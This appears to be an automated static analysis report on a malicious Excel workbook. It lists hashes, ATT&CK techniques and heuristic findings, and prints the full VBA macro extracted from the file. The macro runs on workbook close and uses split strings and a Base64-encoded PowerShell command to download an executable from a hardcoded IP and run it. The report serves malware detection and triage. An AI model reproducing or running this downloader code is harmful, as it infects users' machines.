Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 2e25fda6fe80f83f…

MALICIOUS

Office (OOXML)

102.8 KB Created: 2021-08-19 14:03:52 UTC Authoring application: Microsoft Excel 15.0300 First seen: 2021-10-12
MD5: ef7aabbb5124e14d3dbf7073ceb7814e SHA-1: a6664b563f3a5c8e6f7660fffae9e237fedc3391 SHA-256: 2e25fda6fe80f83ffbf9065e0a410f4e0f5d69f9fbff7cf56c155606223f31ef
142 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059.001 PowerShell T1204.002 Malicious File

The VBA macro contains obfuscated PowerShell commands designed to download and execute a second-stage payload. The macro reassembles the token 'PowerShell' from split string literals and uses a Base64 encoded string which decodes to a command to download 'http://3.70.52.8/FB/Z/PPL-075012003.exe' and save it as '%env:APPDATA%\%ProcName%'. The execution of this downloaded file is then initiated via PowerShell.

Heuristics 4

  • VBA project inside OOXML medium 2 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Dangerous API name reassembled from split string literals critical OLE_VBA_SPLIT_KEYWORD_OBFUSCATION
    VBA concatenates short string literals that reassemble a dangerous API/ProgID/LOLBin name (e.g. Scripting.FileSystemObject, WScript.Shell, powershell, URLDownloadToFile) which appears in no single literal. Splitting an API name across string concatenation is done only to evade keyword scanning.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 2181 bytes
SHA-256: 5885bfae889ce1df21e94fa57f6f0bb4927a8e9dcb307d886a21d39f51d97317
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Private Sub Workbook_BeforeClose(Cancel As Boolean)
On Error Resume Next
Dim i As Double
Dim batch As String
Dim call1 As String
Dim enc As String
enc = "JABQAHIAbwBjAE4AYQBtAGUAIAA9ACAAIgBKAHAAbAB0AGkAbwBvAGoAegBiAHkAdABtAGQAeAB5AGYAegB2AGoAdgByAGEALgBlAHgAZQAiADsAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACIAaAB0AHQAcAA6AC8ALwAzAC4ANwAwAC4ANQAyAC4AOAAvAEYAQgAvAFoALwBRAFAATAAtADAANwA1ADAAOQAxADEAMgAwADAAMAAzAC4AZQB4AGUAIgAsACIAJABlAG4AdgA6AEEAUABQAEQAQQBUAEEAXAAkAFAAcgBvAGMATgBhAG0AZQAiACkAOwBTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAAKAAiACQAZQBuAHYAOgBBAFAAUABEAEEAVABBAFwAJABQAHIAbwBjAE4AYQBtAGUAIgApAA=="
call1 = "WindowsPo" + "werShell\v1.0\pow" + "ershell.exe"
ActiveWorkbook.Save
batch = "Emdkjdsaspxxpihcuch.bat"
Open batch For Output As #1
    Print #1, "start /MIN C:\Windo" + "ws\SysWOW64\" + call1 + " -win 1 -enc " + enc
    Close #1
    i = Shell(batch, 0)
End Sub

Private Sub Workbook_SheetBeforeRightClick(ByVal Sh As Object, ByVal Target As Range, Cancel As Boolean)

End Sub

Private Sub Workbook_SheetCalculate(ByVal Sh As Object)

End Sub


Private Sub Cellss()

End Sub

Private Sub Workbook_SheetSelectionChange(ByVal Sh As Object, ByVal Target As Range)

End Sub

Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Workbook"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
vbaProject_00.bin vba-project OOXML VBA project: xl/vbaProject.bin 6144 bytes
SHA-256: f3429b4be38d0372e1753944b2c26a7f3adcf5d8d1b80d9ca5ec12505f9d76e9

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